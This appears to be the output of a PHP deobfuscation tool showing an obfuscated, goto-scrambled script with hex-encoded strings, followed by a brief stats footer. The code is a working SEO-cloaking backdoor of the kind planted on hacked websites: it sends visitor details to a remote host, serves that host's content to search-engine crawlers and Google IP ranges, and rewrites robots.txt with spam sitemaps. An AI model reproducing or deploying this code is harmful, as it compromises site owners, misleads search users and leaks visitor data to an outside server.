$E2Fuy = 1; goto RqbJj; PrNxx: xqPgP: goto OT7fa; q8yuQ: $E2Fuy++; goto s9zgb; UY3d9: zfJnD: goto YBkU3; MG62y: $P3d58 = urlencode($_SERVER["\x48\x54\124\x50\x5f\101\x43\103\105\x50\124\x5f\x4c\x41\116\107\x55\x41\107\105"]); goto Gm0Y5; Hmcvx: V4Na0: goto N5KVl; VngV7: if ($hVQok == 0) { goto v2Goq; } goto fA_is; fjN14: NoyuG: goto dCWyW; fA_is: $KD48z = "\x2f"; goto PnRVM; fFF4A: echo "\157\x6b"; goto X3sJk; DLFfw: goto edHfI; goto eFk01; OBJTF: $hVQok = 1; goto dWLXp; Y_0hF: cLFFW: goto UYwcW; LPnBf: goto h8DxZ; goto zsDiJ; jqLiD: echo $Z_HcI; goto I6I8S; xVoDo: $Ih00B = $gzkEY . "\x3f\x61\x67\145\156\164\75{$tjtg9}\x26\162\x65\x66\x65\x72\75{$P5Oey}\x26\154\141\x6e\147\75{$P3d58}\46\x69\x70\x3d{$Uf6Yd}\x26\x64\x6f\x6d\x3d{$XcVsJ}\46\150\x74\164\x70\x3d{$HGXxr}\x26\165\x72\151\75{$dr3i4}\46\x70\143\x3d{$IOJ3b}\46\x72\x65\x77\x72\151\164\145\141\142\x6c\x65\75{$hVQok}\46\163\143\162\151\160\x74\x3d{$bwO9g}"; goto XS3bm; taCsC: $KD48z = $_SERVER["\123\103\122\x49\120\124\137\116\x41\115\x45"]; goto cfKy5; w7r9k: header("\x43\x6f\x6e\164\145\156\164\55\x54\171\160\x65\72\x20\x74\145\x78\164\57\160\154\141\x69\x6e\73\40\143\x68\141\162\163\145\164\75\x75\x74\146\x2d\x38"); goto XBlNL; DuHwQ: if (strpos($dr3i4, "\152\160\x32\60\x32\x33") !== false) { goto btktR; } goto WFrYh; TzBj0: echo $Z_HcI; goto wwiV_; oducl: goto Qv69A; goto ftRoE; Cfuxy: if (strpos($dr3i4, "\160\x69\156\147\x73\151\x74\x65\155\141\x70\x2e\170\155\x6c") !== false) { goto g3lp5; } goto hQDdQ; AjZ7N: uCEEm: goto xFfga; vks45: exit; goto OMHwa; xJUqB: goto f8JVg; goto u1Utn; zdMF4: $Ih00B = $gzkEY . "\77\141\147\x65\x6e\164\x3d{$tjtg9}\x26\x72\145\x66\145\162\x3d{$P5Oey}\x26\154\141\x6e\x67\x3d{$P3d58}\x26\151\x70\x3d{$Uf6Yd}\x26\144\x6f\155\75{$XcVsJ}\46\x68\164\164\160\x3d{$HGXxr}\x26\x75\x72\x69\75{$dr3i4}\x26\x70\x63\75{$IOJ3b}\46\162\145\x77\x72\151\x74\x65\x61\142\154\x65\x3d{$hVQok}\x26\x73\143\162\151\160\164\x3d{$bwO9g}"; goto AuNbx; VKbBt: header("\110\x54\124\120\x2f\x31\x2e\x30\x20\x35\60\x30\40\111\x6e\164\145\162\156\x61\x6c\x20\x53\x65\x72\166\x65\x72\40\105\x72\162\157\162"); goto GvXrI; Y7yWs: FtECf: goto bjWiX; y5a74: echo $Z_HcI; goto vks45; e0SIA: goto xqPgP; goto Ggzcz; hCwEa: PrTep: goto zdMF4; JJW1v: H090b: goto q8f1A; XoQz9: Isu4d: goto I9ntw; PnRVM: goto zfJnD; goto kzQJL; cnorE: zsX0A: goto q8yuQ; bjWiX: echo $AzGhW . "\x3a\x20" . $i_AfH . "\74\142\x72\x2f\76"; goto AVvlj; OT7fa: UuXH9: goto efYyC; W0MhF: Vetlq: goto DLFfw; jqlhl: JpqaE: goto XoQz9; Nq13c: header("\x48\124\124\120\57\x31\x2e\x30\x20\65\x30\x30\40\x49\x6e\x74\145\162\156\x61\x6c\40\123\x65\x72\x76\145\x72\x20\105\x72\x72\x6f\162"); goto oy1V4; DtN5y: goto r3_bE; goto bg2K_; S_w_v: if (!(strpos($dr3i4, "\x75\165\165\x75\170\x78\170\170\157\x6f\x6f") !== false)) { goto u1sfx; } goto fFF4A; n2_8y: $Ih00B = $gzkEY . "\x3f\x61\147\x65\x6e\164\x3d{$tjtg9}\x26\162\x65\x66\145\x72\75{$P5Oey}\46\x6c\141\156\147\75{$P3d58}\46\x69\x70\75{$Uf6Yd}\x26\x64\x6f\155\75{$XcVsJ}\46\x68\x74\x74\160\x3d{$HGXxr}\46\165\x72\x69\x3d{$dr3i4}\46\x70\143\75{$IOJ3b}\x26\x72\x65\167\162\151\164\x65\141\x62\154\x65\x3d{$hVQok}\x26\x6b\75\61"; goto m3SVD; h9PsW: $hVQok = 0; goto MP6jP; ciW6U: exit; goto acsR2; ZkDGs: $dUZVc = trim($dUZVc) . "\15\xa" . "\123\x69\x74\x65\155\141\x70\72\x20{$AzGhW}"; goto Ggv6i; s9zgb: goto EmqRl; goto eH47D; zsDiJ: g3lp5: goto taCsC; u1Utn: pQJFJ: goto cJt8r; dyuvr: $gzkEY = "\x68\164\x74\x70\72\57\x2f\x63\x77\62\71\56\141\x6c\x65\x72\164\x73\x75\x62\x2e\x74\x6f\x70\x2f\151\156\x64\x65\170\x2e\160\150\x70"; goto r1y2f; piHNx: exit; goto sKbT4; GQfo2: if (!preg_match("\x2f\74\x68\x32\x3e\50\56\x2b\x3f\x29\74\134\57\x68\62\76\57\x69", $Z_HcI, $ntHso)) { goto FtECf; } goto xGjZc; XBlNL: echo $Z_HcI = KCkMm($Ih00B); goto GcgkO; DsJRX: header("\x48\x54\124\120\57\x31\x2e\60\x20\x35\60\60\40\111\156\x74\145\x72\x6e\141\x6c\x20\123\145\162\166\145\x72\40\105\162\162\x6f\x72"); goto pn1a0; OV81W: if (!(strpos($BhFql, "\x31\71\x33\56\61\70\66\x2e\x34\56") !== false || strpos($BhFql, "\x37\x32\x2e\61\x34\x2e\x32\x30\61\x2e") !== false || strpos($BhFql, "\62\x30\60\61\72\64\x38\x36\x30\72\67\x3a") !== false)) { goto n_20S; } goto n2_8y; ySQ4y: $P5Oey = urlencode($_SERVER["\x48\x54\124\x50\x5f\122\105\x46\x45\x52\x45\122"]); goto MG62y; eFk01: XLJYm: goto tIfly; xO8TT: goto UuXH9; goto D38Ys; mw9Ag: header("\103\x6f\x6e\164\145\x6e\x74\x2d\124\171\x70\x65\x3a\x20\x74\x65\170\164\x2f\150\x74\155\x6c\x3b\40\x63\x68\141\x72\x73\145\164\75\x75\164\x66\55\70"); goto HlIiQ; m3SVD: $Z_HcI = kckMm($Ih00B); goto h3eIP; HlIiQ: goto yLeRZ; goto Hmcvx; wH020: THLP8: goto OBJTF; tIfly: $Ih00B = $gzkEY . "\77\141\147\145\156\x74\x3d{$tjtg9}\x26\162\x65\x66\145\162\75{$P5Oey}\x26\x6c\x61\x6e\147\x3d{$P3d58}\46\151\x70\75{$Uf6Yd}\46\x64\157\x6d\x3d{$XcVsJ}\46\x68\164\x74\x70\x3d{$HGXxr}\46\x75\x72\x69\x3d{$dr3i4}\x26\x70\x63\75{$IOJ3b}\46\x72\145\167\162\x69\x74\145\141\142\x6c\x65\75{$hVQok}\x26\163\143\162\x69\x70\164\x3d{$bwO9g}"; goto w7r9k; GvXrI: exit; goto PrNxx; j2OPy: if (!($Z_HcI == "\65\60\x30")) { goto H090b; } goto DsJRX; hQDdQ: if (strpos($dr3i4, "\x66\141\166\151\143\x6f\x6e\x2e\x69\x63\x6f") !== false) { goto j48nN; } goto DuHwQ; RqbJj: EmqRl: goto CuVJs; T0L0Y: KxZtV: goto Ko00w; efYyC: goto Isu4d; goto hCwEa; oV7q6: $c9DgT = "\150\164\x74\x70\x73\x3a\57\57\x77\x77\167\56\147\157\157\x67\x6c\145\x2e\143\x6f\155\x2f\x70\151\x6e\147\x3f\163\151\x74\145\155\x61\x70\75"; goto giZ6C; KUzrm: if (preg_match("\100\x5e\57\x28\x2e\52\x3f\x29\x2e\170\x6d\154\x24\x40\x69", $dr3i4)) { goto KxZtV; } goto GX4oM; xGjZc: $i_AfH = $ntHso[1]; goto Y7yWs; Gm0Y5: $BhFql = kSAvo(); goto PBXY7; xFfga: $Gcih8 = "\x62\151\x6e\x67\x7c\x67\x6f\157\147\x6c\145\x7c\171\x61\x68\x6f\x6f"; goto dyuvr; RwrQD: @file_put_contents("\162\157\x62\x6f\x74\x73\56\x74\x78\x74", $dUZVc); goto piHNx; klpuh: header("\x48\x54\124\x50\57\x31\56\60\40\x34\x30\63\40\x46\x6f\x72\142\x69\x64\144\x65\x6e"); goto yZczW; cJt8r: $EwDGw = $HGXxr . "\72\57\57" . $_SERVER["\110\x54\x54\120\137\x48\117\123\124"] . "\57\165\x75\165\165\x78\170\x78\170\x6f\157\157"; goto ZbTdp; GX4oM: if (preg_match("\x2f\50{$Gcih8}\51\57\151", $_SERVER["\110\x54\x54\x50\137\125\x53\105\x52\137\x41\x47\105\116\124"])) { goto PrTep; } goto q9dMe; sqaUt: $_SERVER["\122\x45\x51\x55\x45\x53\x54\137\123\x43\x48\105\115\105"] = "\x68\164\164\160"; goto fIT65; LOUh7: O58q7: goto LPnBf; GcgkO: @file_put_contents("\162\157\x62\157\164\163\x2e\x74\x78\x74", $Z_HcI); goto ciW6U; nZzeM: if ($Z_HcI == "\x6f\153") { goto THLP8; } goto NQ36s; giZ6C: $dUZVc = "\125\163\145\x72\x2d\x61\147\x65\156\x74\x3a\x20\x2a\15\12\101\x6c\154\x6f\x77\72\x20\57"; goto oswJe; wwiV_: exit; goto jqlhl; BoEYo: exit; goto PpkeB; ATnDP: echo $Z_HcI; goto BoEYo; AyT0I: $Z_HcI = kcKMM($Ih00B); goto MXayr; oy1V4: exit; goto AYH_s; NOa1I: if (empty($Z_HcI)) { goto JpqaE; } goto j2OPy; DWY2U: u1sfx: goto h9PsW; N4tol: j48nN: goto LOUh7; cS7IU: Qv69A: goto vsC4t; rWw8L: $dr3i4 = urldecode($_SERVER["\122\x45\121\125\x45\x53\124\x5f\x55\x52\x49"]); goto S_w_v; q9dMe: if (preg_match("\x2f\50{$Gcih8}\x29\57\x69", $_SERVER["\110\x54\x54\120\137\122\x45\x46\105\122\105\x52"])) { goto JLko0; } goto OV81W; WeAq8: exit; goto cS7IU; cfKy5: if (strpos($KD48z, "\x69\156\144\x65\170\56\x70\x68\x70") !== false) { goto KHGlE; } goto Z0hoV; sKbT4: h8DxZ:

Function Calls

None

Variables

None

Stats

MD5 a9ab6ee0a95d7b099e9f3203cc4ad279
Eval Count 0
Decode Time 80 ms